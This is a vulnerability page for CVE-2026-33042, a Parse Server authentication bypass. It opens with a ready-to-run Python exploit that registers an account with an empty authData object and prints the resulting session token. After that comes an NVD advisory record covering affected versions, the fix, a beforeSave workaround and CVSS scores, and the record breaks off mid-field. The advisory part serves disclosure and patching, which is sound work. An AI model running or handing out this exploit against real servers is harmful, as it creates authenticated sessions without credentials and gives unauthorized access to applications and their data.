CVE-2026-33042

import requests import json # CVE-2026-33042 PoC - Parse Server Authentication Bypass # Target: Parse Server < 8.6.49 or < 9.6.0-alpha.29 TARGET_URL = "http://target-server:1337/parse" # Replace with actual target def exploit_auth_bypass(): """ Exploit empty authData to bypass credential requirements during Parse Server user registration. """ # Create user with empty authData - bypasses username/password requirement payload = { "username": "attacker_account", # Arbitrary username "authData": {}, # Empty authData object - KEY TO EXPLOIT "email": "[email protected]" } headers = { "X-Parse-Application-Id": "YOUR_APP_ID", "Content-Type": "application/json" } try: response = requests.post( f"{TARGET_URL}/users", json=payload, headers=headers, timeout=10 ) if response.status_code in [200, 201]: result = response.json() print(f"[+] SUCCESS: Account created without credentials!") print(f"[+] User ID: {result.get('objectId')}") print(f"[+] Session Token: {result.get('sessionToken')}") return True else: print(f"[-] FAILED: Status {response.status_code}") print(f"[-] Response: {response.text}") return False except Exception as e: print(f"[-] ERROR: {str(e)}") return False if __name__ == "__main__": print("="*60) print("CVE-2026-33042 - Parse Server Auth Bypass Exploit") print("="*60) exploit_auth_bypass()

{"cve": {"id": "CVE-2026-33042", "sourceIdentifier": "[email protected]", "published": "2026-03-18T22:16:26.120", "lastModified": "2026-03-19T16:44:02.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.29 and 8.6.49, a user can sign up without providing credentials by sending an empty `authData` object, bypassing the username and password requirement. This allows the creation of authenticated sessions without proper credentials, even when anonymous users are disabled. The fix in 9.6.0-alpha.29 and 8.6.49 ensures that empty or non-actionable `authData` is treated the same as absent `authData` for the purpose of credential validation on new user creation. Username and password are now required when no valid auth provider data is present. As a workaround, use a Cloud Code `beforeSave` trigger on the `_User` class to reject signups where `authData` is empty and no username/password is provided."}, {"lang": "es", "value": "Parse Server es un backend de código abierto que puede ser desplegado en cualquier infraestructura que pueda ejecutar Node.js. Antes de 9.6.0-alpha.29 y 8.6.49, un usuario podía registrarse sin proporcionar credenciales enviando un objeto 'authData' vacío, eludiendo el requisito de nombre de usuario y contraseña. Esto permite la creación de sesiones autenticadas sin credenciales adecuadas, incluso cuando los usuarios anónimos están deshabilitados. La corrección en 9.6.0-alpha.29 y 8.6.49 asegura que 'authData' vacío o no procesable sea tratado igual que un 'authData' ausente a efectos de la validación de credenciales en la creación de nuevos usuarios. Ahora se requieren nombre de usuario y contraseña cuando no hay datos de proveedor de autenticación válidos presentes. Como solución alternativa, utilice un disparador 'beforeSave' de Cloud Code en la clase '_User' para rechazar registros donde 'authData' esté vacío y no se proporcione nombre de usuario/contraseña."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "8.6.49", "matchCriteriaId": "3300CA0A-77D3-4695-B4FB-9FF75114D2F2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.6.0", "matchCriteriaId": "1BAC01F8-0899-482C-8D91-64671BF2859A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "BBED261F-CA1B- ... (truncated)